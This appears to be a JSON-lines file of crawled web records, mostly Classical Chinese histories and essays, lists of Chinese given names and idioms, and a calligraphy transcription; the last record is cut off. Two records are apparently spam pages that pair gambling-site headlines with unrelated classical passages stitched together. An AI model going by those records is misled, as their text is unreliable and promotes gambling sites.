+{"text":"m88备用网址商业新零售线上线下更为融合或将成新的爆发增长点\n黥布者,六人也,姓英氏。秦时为布衣。少年,有客相之曰:\"当刑而王。\"及壮,坐法黥。布欣然笑曰;\"人相我当刑而王,几是乎?\"人有闻者,共俳笑之。布已论输丽山,丽山之徒数十万人,布皆与其徒长豪桀交通,乃率其曹偶,亡之江中为群盗。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n焉逢困敦三年。\n正月,上曰:\"农,天下之本,其开籍田,朕亲率耕,以给宗庙粢盛。\"\n初,淖齿之杀湣王也,莒人求湣王子法章,得之太史嬓之家,为人灌园。嬓女怜而善遇","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mip.xzulu.com\/DCllzw849870.html","date":"2020-02-23T07:32:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145747.6\/warc\/CC-MAIN-20200223062700-20200223092700-00382.warc.gz","language":"lzh","language_score":0.4590931833,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4590931832790375, \"cmn_Hani_score\": 0.30766385793685913, \"nan_Hani_score\": 0.0739641785621643, \"zxx_Latn_score\": 0.03632728010416031, \"wuu_Hani_score\": 0.01392329577356577, \"jpn_Jpan_score\": 0.013612312264740467, \"und_Xsux_score\": 0.012521863915026188, \"yue_Hani_score\": 0.012280600145459175}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.441,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王姓女孩名字大全\n提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n王俪茹 王怡哲 王钦茹 王本琼 王怡燃 王怡玟 王爻燕 王茹佳 王晓娜 王萧艳 王萧燕 王筱娜 王姿蓉 王彦丽 王彦莹 王小嫣 王昕悦 王妙倩 王小妍 王鑫丽 王锡丽 王生娟 王琼英 王钰妍 王周琴 王明洁 王传芬 王欣冉 王凤瑛 王宝梅 王惠燕 王琼瑶 王家梅 王公文 王安悦 王娜果 王新娟 王克琴 王杏怡 王青霞 王冬红 王怡迪 王陉嫣 王硎嫣 王荇嫣 王荇妍 王姿嫣 王允文 王燕丽 王星茹 王妍人 王秀琛 王琛颖 王玉芬 王紫文 王钰瑶 王畅文 王雯娜 王雯秀 王娜雯 王秀仪 王秀雯 王秀灵 王爱英 王蔓玲 王语燕 王燕昕 王燕馨 王鑫文 王露蓉 王玲桂 王蔓媛 王熙文 王瑞瑶 王琪琳 王靖茹 王蕴洁 王伟梅 王婷仪 王聪颖 王恩瑶 王羲瑶 王庆颖 王肖丽 王犹红 王肖莉 王宓瑶 王芯瑶 王子瑶 王昕瑶 王茹熹 王媛毓 王汐莹 王汐英 王婧泓 王智茹 王瑞琳 王瑞英 王文丽 王丽倩 王德芳 王婕婷 王王颖 王惠雪 王瑞红 王宛艳 王瑶晔 王斯玉 王孟英 王悦萌 王怡麟 王昊冉 王雨茹 王全莹 王叶文 王文雪 王湘萍 王歆怡 王淑娜 王嫣睿 王淑洁 王明莉 王庆燕 王庆艳 王雪蓉 王慧娜 王涔倩 王亚芬 王爽英 王梦妍 王潆雪 王翠玲 王佳美 王美茹 王坤茹 王云梅 王媛竹 王均花 王文花 王秀桐 王悦岩 王琳雅 王晏红 王霞霞 王素梅 王玺文 王燕敏 王士萍 王婉倩 王文嫣 王聪琼 王阏萍 王炜琳 王烨琳 王守艳 王蓉宇 王蓉羽 王蓉于 王蓉予 王孟颖 王英妹 王桂艳 王银娟 王脂玉 王艳婷 王婉蓉 王留英 王顺玉 王长妹 王婧榕 王新红 王俊玲 王翠琳 王妤雪 王怡丰 王妤婷 王天文 王光文 王烨文 王凯怡 王艳娟 王常婷 王长婷 王妍姿 王银艳 王银燕 王泽英 王奕琼 王璞琳 王卓娜 王笑玲 王熠瑶 王熠妍 王旭燕 王冯颖 王睿瑶 王睿怡 王睿嫣 王睿雪 王睿媛 王妍骞 王妍璺 王妍薹 王曙萍 王怡潆 王怡瀛 王艾琳 王妍潆 王妍嘤 王妍瀛 王陈丽 王蔚文 王贵琴 王雷萍 王家茹 王燕儿 王子秀 王寅婷 王泽红 王珂颖 王宁瑶 王碧瑶 王静玉 王洁文 王婕洁 王书嫣 王书娅 王君洁 王霞菁 王莲蓉 王研媛 王书莉 王娅茜 王敏媛 王悦晨 王清梅 王佩妍 王茹锌 王浩妍 王希瑶 王筱瑶 王迎莹 王景芳 王潇瑶 王妍彤 王飘怡 王倩莲 王雪倩 王莉渤 王晰莹 王松瑶 王少怡 王力英 王姝怡 王莺燕 王炜英 王曼琳 王子丽 王钥莹 王嘉颖 王天雪 王中萍 王加文 王梓倩 王少娟 王心雪 王翠莉 王妍蔺 王军燕 王琴清 王淑瑶 王偌嫣 王琴玲 王月玲 王钰颖 王永丽 王璐娜 王思婧 王洪丽 王昊悦 王皓悦 王家燕 王姝丽 王姝美 王颖丽 王颖莉 王仙英 王芝梅 王相英 王婵晔 王秀晔 王则文 王艺颖 王语萍 王彩怡 王婷晔 王伟琴 王霞蔚 王倩晔 王莉晔","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/zy5000.com\/show_3AQ0.aspx","date":"2020-02-20T09:38:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144708.87\/warc\/CC-MAIN-20200220070221-20200220100221-00506.warc.gz","language":"lzh","language_score":0.9800229669,"language_script":"Hani","minhash_cluster_size":7,"top_langs":"{\"lzh_Hani_score\": 0.9800229668617249, \"nan_Hani_score\": 0.019221799448132515}","num_words":302,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"500彩票网足球数据世界田联声明愿意配合国际奥委会推迟奥运会\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n侯齐四年,楚惠王灭蔡,蔡侯齐亡,蔡遂绝祀。後陈灭三十三年。\n惠公十二年,子出子生。十三年,伐蜀,取南郑。惠公卒,出子立。\n晏平仲婴者,莱之夷维人也。事齐灵公、庄公、景公,以节俭力行重於齐。既相齐,食不重肉,妾不衣帛。其在朝,君语及之,即危言;语不及之,即危行。国有道,即顺命;无道,即衡命。以此三世显名於诸侯。\n是後韩王信为匈奴将,及赵利、王黄等数倍约,侵盗代、云中。居无几何,陈豨反,又与韩信合谋击代。汉使樊哙往击之,复拔代、雁门、云中郡县,不出塞。是时匈奴以汉将众往降,故冒顿常往来侵盗代地。於是汉患之,高帝乃使刘敬奉宗室女公主为单于阏氏,岁奉匈奴絮缯酒米食物各有数,约为昆弟以和亲,冒顿乃少止。後燕王卢绾反,率其党数千人降匈奴,往来苦上谷以东。","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/5d1nv.rz733.com\/xdjwr\/120676.html","date":"2020-05-29T22:03:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347406785.66\/warc\/CC-MAIN-20200529214634-20200530004634-00123.warc.gz","language":"lzh","language_score":0.3932036757,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.3932036757469177, \"cmn_Hani_score\": 0.36668577790260315, \"nan_Hani_score\": 0.08192916959524155, \"wuu_Hani_score\": 0.031175954267382622, \"yue_Hani_score\": 0.02656012959778309, \"zxx_Latn_score\": 0.01573142036795616, \"jpn_Jpan_score\": 0.012319380417466164, \"und_Tang_score\": 0.010005542077124119}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.513,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n林文龍 黃翠如 連詩雅 馬貫東 謝芷倫 黃嘉樂 蘇皓兒 顧定軒 陳自瑤 劉溫馨 袁潔儀 李任燊 李日升 姚浩政 孟希璘 王卓淇 黃芷晴 麥皓兒 鍾志光 陳志健 楊卓娜 馮素波 岑杏賢 冼灝英 溫裕紅 劉天龍 李寶君 李寶珊 翟鋒 邱晴 黃凱琪 陳靜堯 梁雯蔚 關浩揚 姚亦澧 林穎彤 盧偉文 吳珮如 伍富橋 潘冠霖 林靖文 何家銘 王浚聲 馬溱禧 黃韻娜 何晉樂 吳子衝 張詩欣 黃子桐 黃可盈 陳苑澄\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n譚俊彥 關楚耀 朱晨麗 傅嘉莉 胡諾言 沈卓盈 楊玉梅 朱敏瀚 泰臣 林師傑 羅浩銘 溫家偉 陳嘉輝 祝文君 楊證樺 姚浩政 戴耀明 鄭家生 李君妍 楊嘉欣 白雲 梁珈詠 歐陽巧瑩 劉天龍 鄭恕峯 潘冠霖 李漫芬 方紹聰 曾慧雲 蔡國威 鄧永健 範文雅 姚嘉妮 何佩珉 關浩揚 袁鎮業 衛志豪 張智軒\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E5%A7%9A%E6%B5%A9%E6%94%BF------------.html","date":"2020-09-27T11:56:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400274441.60\/warc\/CC-MAIN-20200927085848-20200927115848-00292.warc.gz","language":"lzh","language_score":0.7730258703,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.7730258703231812, \"cmn_Hani_score\": 0.16512218117713928, \"nan_Hani_score\": 0.05403006821870804}","num_words":222,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.808,"perplexity_score":500.0,"cluster_detection":1} +{"text":"讀通鑒論\/敘論二\n|目錄||讀通鑒論|\n|◀上一卷||敘論二||下一卷▶|\n天下有大公至正之是非為,匹夫匹婦之與知,聖人莫能違也。然而君子之是非,終不與匹夫匹婦爭鳴,以口說為名教,故其是非一出而天下莫敢不服。流俗之相沿也,習非為是,雖覆載不容之惡而視之若常,非秉明赫之威以正之,則惡不知懲。善亦猶是也,流俗之所非,而大美存焉;事跡之所閡,而天良在為;非秉日月之明以顯之,則善不加勸。故春秋之作,遊、夏不能贊一辭,而豈灌灌諄諄,取匹夫匹婦已有定論之褒貶,曼衍長言,以求快俗流之心目哉?莊生曰:「春秋經世之書,聖人議而不辯。」若華督、宋萬、楚商臣、蔡般,當春秋之世,習為故常而不討,乃大書曰「弒其君」。然止此而已,弗俟辯也。以此義推之,若王莽、曹操、朱溫輩之為大惡也,昭然見於史策,匹夫匹婦得以詬厲之於千載之下,而又何俟論史者之喋喋哉?\n今有人於此,殺人而既服刑於司寇矣,而旁觀者又大聲疾呼以號於人曰:此宜殺者。非匹夫匹婦之褊躁,孰暇而為此?孟子曰:「春秋成而亂臣賊子懼。」惟其片言而折,不待繁言而彼詐遁之遊辭不能復逞。使聖人取中肩之逆、稱王之僭,申明不已,而自謂窮亂賊之奸;彼奸逆者且笑曰:是匹夫匹婦之巷議也,而又奚畏焉。\n蕭、曹、房、杜之治也;劉向、朱雲、李固、杜喬、張九齡、陸贄之貞也;孔融、王經、段秀實之烈也;反此而為權奸、為宦寺、為外戚、為佞倖、為掊克之惡以敗亡人國家也;漢文、景、光武、唐太宗之安定天下也;其後世之驕奢淫泆自貽敗亡也:漢高之興,項羽之亡,八王之亂,李、郭之功;史已詳紀之,匹夫匹婦聞而與知之。極詞以贊而不為加益,聞者不足以興;極詞以貶而不為加損,聞者不足以戒。唯匹夫匹婦悻悻之怒、沾沾之喜,繁詞累說,自鳴其達於古者,樂得而稱述之。曾君子誘掖人之善而示以從入之津,弭止人之惡而窮其陷溺之實,屑侈一時之快論,與道聽塗說者同其紛呶乎?故編中於大美大惡、昭然耳目、前有定論者,皆略而不贅。推其所以然之繇,辨其不盡然之實,均於善而醇疵分,均於惡而輕重別,因其時,度其勢,察其心,窮其效,所繇與胡致堂諸子之有以異也。\n|上一卷||◄||↑返回頂部||►||下一卷|","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/zh.wikisource.org\/wiki\/%E8%AE%80%E9%80%9A%E9%91%92%E8%AB%96\/%E6%95%98%E8%AB%96%E4%BA%8C","date":"2020-10-25T12:04:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107888931.67\/warc\/CC-MAIN-20201025100059-20201025130059-00270.warc.gz","language":"lzh","language_score":0.466240555,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4662405550479889, \"cmn_Hani_score\": 0.39431488513946533, \"nan_Hani_score\": 0.04382980614900589, \"wuu_Hani_score\": 0.021939313039183617, \"yue_Hani_score\": 0.01584468223154545, \"zxx_Latn_score\": 0.012541702948510647}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.412,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n殷艾 殷嫒 殷暧 殷棒 殷贝 殷蓓 殷宾 殷彬 殷斌 殷滨 殷冰 殷波 殷泊 殷博 殷才 殷财 殷灿 殷册 殷策 殷畅 殷超 殷潮 殷琛 殷臣 殷辰 殷晨 殷成 殷呈 殷诚 殷川 殷春 殷存 殷丹 殷焘 殷笛 殷娣 殷东 殷帆 殷凡 殷飞 殷菲 殷霏 殷峰 殷锋 殷阜 殷刚 殷罡 殷歌 殷广 殷贵 殷果 殷海 殷海 殷海 殷海 殷晗 殷涵 殷豪 殷濠 殷昊 殷浩 殷贺 殷赫 殷宏 殷闳 殷泓 殷洪 殷荭 殷虹 殷鸿 殷蕻 殷虎 殷浒 殷琥 殷华 殷怀 殷欢 殷焕 殷煌 殷晖 殷辉 殷烩 殷惠 殷慧 殷蕙 殷吉 殷济 殷霁 殷佳 殷俭 殷建 殷健 殷键 殷江 殷杰 殷婕 殷捷 殷碣 殷竭 殷谨 殷锦 殷瑾 殷进 殷静 殷炯 殷隽 殷珏 殷军 殷君 殷钧 殷筠 殷俊 殷郡 殷峻 殷浚 殷骏 殷凯 殷铠 殷坤 殷昆 殷兰 殷岚 殷澜 殷榄 殷乐 殷雷 殷镭 殷磊 殷蕾 殷离 殷黎 殷力 殷利 殷俐 殷栎 殷连 殷莲 殷凉 殷梁 殷亮 殷林 殷灵 殷凌 殷龙 殷璐 殷略 殷冒 殷眉 殷萌 殷梦 殷苗 殷淼 殷民 殷玟 殷敏 殷名 殷明 殷鸣 殷茗 殷铭 殷酩 殷茉 殷谋 殷睦 殷纳 殷南 殷楠 殷妮 殷倪 殷年 殷宁 殷农 殷培 殷佩 殷朋 殷鹏 殷澎 殷平 殷齐 殷奇 殷颀 殷淇 殷琦 殷琪 殷谦 殷骞 殷茜 殷强 殷巧 殷切 殷秦 殷勤 殷青 殷清 殷晴 殷庆 殷权 殷泉 殷群 殷荣 殷榕 殷蕊 殷芮 殷锐 殷瑞 殷睿 殷森 殷珊 殷上 殷胜 殷石 殷实 殷舒 殷澍 殷帅 殷双 殷爽 殷顺 殷朔 殷铄 殷硕 殷思 殷松 殷嵩 殷苏 殷素 殷台 殷潭 殷汤 殷涛 殷滔 殷桃 殷淘 殷田 殷甜 殷彤 殷桐 殷童 殷婉 殷惋 殷菀 殷威 殷薇 殷巍 殷为 殷唯 殷惟 殷维 殷伟 殷委 殷炜 殷玮 殷卫 殷渭 殷蔚 殷雯 殷希 殷熙 殷熹 殷贤 殷翔 殷萧 殷潇 殷晓 殷笑 殷辛 殷昕 殷欣 殷新 殷兴 殷雄 殷熊 殷旭 殷旋 殷璇 殷雅 殷研 殷衍 殷彦 殷焱 殷扬 殷阳 殷洋 殷珧 殷谣 殷遥 殷耀 殷烨 殷一 殷沂 殷艺 殷屹 殷易 殷奕 殷弈 殷益 殷毅 殷因 殷茵 殷音 殷寅 殷莺 殷婴 殷缨 殷鹰 殷盈 殷永 殷咏 殷勇 殷妤 殷瑜 殷宇 殷羽 殷雨 殷禹 殷语 殷育 殷昱 殷钰 殷寓 殷煜 殷誉 殷豫 殷园 殷沅 殷圆 殷缘 殷源 殷远 殷瑗 殷月 殷岳 殷阅 殷跃 殷越 殷樾 殷云 殷芸 殷韵 殷泽 殷湛 殷哲 殷振 殷震 殷峥 殷政 殷芝 殷志 殷智 殷壮 殷准 殷卓 殷倬 殷孜 殷兹 殷姿 殷滋 殷子 殷梓 殷紫 殷总 殷纵 殷芳 殷芬 殷红 殷花 殷洁 殷婧 殷娟 殷莉 殷丽 殷琳 殷玲 殷梅 殷美 殷娜 殷妞 殷裴 殷萍 殷倩 殷琴 殷琼 殷冉 殷蓉 殷茹 殷婷 殷文 殷霞 殷秀 殷雪 殷嫣 殷妍 殷艳 殷燕 殷瑶 殷怡 殷英 殷瑛 殷莹 殷颖 殷玉 殷媛 殷悦","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-74-2.html","date":"2021-09-21T12:08:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00676.warc.gz","language":"lzh","language_score":0.8460183144,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8460183143615723, \"nan_Hani_score\": 0.1540014147758484}","num_words":405,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.328,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.846,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.带有千字的成语\n千兵万马 千补百衲 千部一腔 千仓万箱 千差万别 千差万错 千乘万骑 千愁万恨 千愁万绪 千疮百孔 千疮百痍 千锤百炼 千锤打锣 千村万落 千刀万剁 千刀万剐 千叮万嘱 千端万绪千恩万谢 千方百计 千方万计 千峰百嶂 千峰万壑 千夫诺诺 千夫所指 千沟万壑 千古不磨 千古不朽 千古独步 千古绝唱千古绝调 千古奇闻 千古一律 千古一时 千古一辙 千古罪人 千红万紫 千呼万唤 千回百折 千回百转 千回万转 千汇万状千家万户 千娇百媚 千金敝帚 千金弊帚 千金买笑 千金市骨 千金一瓠 千金一刻 千金一壸 千金一诺 千金一笑 千金一掷千金用兵 千金之家 千金之裘 千金之子 千军万马 千军易得 千钧一发 千钧重负 千里鹅毛 千里结言 千里骏骨 千里馈粮千里神交 千里迢迢 千里同风 千里无烟 千里一曲 千里姻缘 千里犹面 千里之堤 千里之任 千里之行 千里之志 千里之足千了百当 千了百了 千了万当 千伶百俐 千龄万代 千虑一得 千虑一失 千门万户 千磨百折 千难万苦 千难万难 千难万险千年一律 千篇一律 千奇百怪 千千万万 千秋人物 千秋万代 千秋万古 千秋万世 千秋万岁 千人所指 千人一面 千山万壑 千里送鹅毛。","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.harrodkids.com\/k\/10187.html","date":"2022-06-27T14:55:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103334753.21\/warc\/CC-MAIN-20220627134424-20220627164424-00645.warc.gz","language":"lzh","language_score":0.5695640445,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5695640444755554, \"jpn_Jpan_score\": 0.22404570877552032, \"cmn_Hani_score\": 0.09480196237564087, \"nan_Hani_score\": 0.08881355077028275, \"yue_Hani_score\": 0.018365733325481415}","num_words":97,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.57,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王觌《平江酒毛帖》,行书。纸本,32.1×40.3cm。台北故宫博物院藏。\n释文:觌再拜 平江酒毛汝能 乃觌所辟置 天下之奇材 而汤德广诸人 不以法度御之 多取以供它费 小使臣不敢辄忤其意 至今循习不改 觌已请于朝 欲自使令 今已得数万缗酒本 方营求数十区屋材 兴冶清河一坊 追复其旧 稍侍三两月之期 使司必与享此利 欲望一差檄过杭 严戒以即日上道 幸甚 第勿令胡守知此意也 觌再拜","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/shufazidian.com\/ziliao\/41240.html","date":"2023-12-07T13:34:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100674.56\/warc\/CC-MAIN-20231207121942-20231207151942-00112.warc.gz","language":"lzh","language_score":0.7482275367,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.7482275366783142, \"cmn_Hani_score\": 0.16486357152462006, \"nan_Hani_score\": 0.07859090715646744}","num_words":23,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.776,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n安冠英 安亦颖 安世颖 安师颖 安静颖 安妍翠 安怡婧 安妍婧 安如娜 安婧滔 安清萍 安利琼 安姝怡 安贺娟 安思瑛 安吉莉 安杉娜 安婷艳 安子英 安靓颖 安冰雪 安培玉 安琼琼 安道文 安如丽 安婧漪 安怡旭 安鑫冉 安昱冉 安政花 安家秀 安家悦 安怡敬 安怡苹 安怡涵 安怡斓 安怡茜 安怡澜 安怡新 安怡岚 安怡家 安怡红 安金怡 安怡绎 安怡镁 安锌怡 安从玲 安怡晖 安怡馨 安世娜 安玺文 安雯倩 安倩雯 安怡清 安怡钦 安怡秀 安怡雯 安沙琴 安莎琴 安祥玉 安昊英 安湘英 安绍芳 安贞玉 安书芬 安妍馨 安妍鑫 安妍欣 安妍芳 安妍昕 安智媛 安小媛 安佳媛 安鸿英 安敏冉 安秀娥 安芷瑶 安媛睿 安月英 安浩洁 安悦瑶 安瑶悦 安又文 安燕明 安心洁 安家瑶 安娜拉 安秀冉 安瑜冉 安洁玉 安莉娥 安俪娥 安丽娥 安领娥 安秀娥 安苓娥 安菱娥 安灵娥 安羚娥 安岭娥 安维瑶 安连芳 安钦莉 安庆娜 安潇洁 安骁洁 安雅茹 安妍桦 安悦涵 安歌婷 安娜霖 安睿文 安腊梅 安絮冉 安兮冉 安李琳 安秀霞 安悦源 安美秀 安怡昕 安莉维 安修婵 安乃文 安天娜 安丰怡 安仪莹 安婧阳 安亚英 安芝莹 安诗媛 安发蓉 安倩蓓 安亮红 安水丽 安梓萍 安红婧 安姣红 安婧妍 安钇娜 安湘颖 安红娟 安瑛姗 安滢颖 安可茹 安水霞 安惜文 安志萍 安悦薇 安丰雪 安春秀 安举娜 安大娜 安俞蓉 安德英 安珍艳 安洁文 安君洁 安柏玲 安克玉 安清琳 安福美 安利红 安林艳 安莉芳 安燕萍 安翠花 安怡燕 安燕岭 安容悦 安镓怡 安冬艳 安秀莉 安荔萍 安健萍 安键萍 安全美 安润英 安建颖 安翠红 安保娟 安琪琳 安宝娟 安振琳 安新花 安迎琳 安娅荣 安妍待 安湘莹 安圆媛 安钰玲 安秀懿 安泽悦 安亚琴 安辉霞 安月婵 安明婵 安淑艳 安海蓉 安佳悦 安淑娜 安旭霞 安利芬 安镇文 安泰冉 安太冉 安玲欣 安先红 安春琳 安妞 安鹤丽 安以婷 安百玲 安婷心 安茂冉 安久萍 安凤艳 安秀琳 安艳芬 安钰颖 安玉嫣 安泠茹 安效梅 安茹梦 安梦婧 安馨妍 安苏怡 安怡禳 安雪燕 安娅茹 安之茹 安俊艳 安百琴 安志芳 安佰红 安薪茹 安星茹 安琳琅 安燕浩 安雪萍 安涵玉 安滟梅 安悦晗 安梦悦 安琦颖 安昭雪 安慧怡 安静茹 安潞瑶 安亦玉 安爱文 安羽洁 安伯琼 安柏琼 安永霞 安银玲 安媛君 安乐秀 安希秀 安卉琳 安凌洁 安琳静 安静琳 安静妍 安妍妮 安雪莉 安晓悦 安敬娥 安荣芳 安怡宣 安怡哲 安吉芳 安梦妍 安涵悦 安娅妮 安兆琼 安娅杰 安娅捷 安娅婕 安娅洁 安如媛 安中花 安琴芬 安一艳 安丽玲 安景娥 安红芬 安侪怡 安杉冉 安倩丁 安丁倩 安倩杉 安杉倩 安倩卉 安卉倩 安影倩 安倩萝 安倩篱 安倩荠 安倩莲 安翌芳","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/zhzrzz.cn\/show_AAA.aspx","date":"2023-12-06T04:38:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.13\/warc\/CC-MAIN-20231206031946-20231206061946-00600.warc.gz","language":"lzh","language_score":0.6577627659,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.6577627658843994, \"nan_Hani_score\": 0.3190213739871979, \"cmn_Hani_score\": 0.019755542278289795}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.673,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.清雍正十三年规定征收田赋,分上下二期。上期从农历二月开征,五月截止,叫\"上忙\"。下期从八月接征,十一月截止,叫\"下忙\"。合称\"上下忙\"。参阅《清文献通考.田赋考三》。\n上丁 上三旗 上上 上上下下 上上乘 上上人 上上手 上下 上下一心 上下为难 上下交困 上下交征 上下其手 上下同心 上下同欲 上下同门 上下和合 上下平 上下床 下一钩子 下三流 下三烂 下上 下下 下下人 下下细细 下不为例 下不了台 下不去 下不来 下不来台 下世 下中 下中农 下中天 下串 下临 下丹田 下乔入幽 忙三迭四 忙上加忙 忙不择价 忙不迭 忙中有失 忙中有序 忙中有错 忙乎 忙乱 忙人 忙促 忙冗 忙刼 忙刼刼 忙古歹 忙叨叨 忙合 忙工 忙并 